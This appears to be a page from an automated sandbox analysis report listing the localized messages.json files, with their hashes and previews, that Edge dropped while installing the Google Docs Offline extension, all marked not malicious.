Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
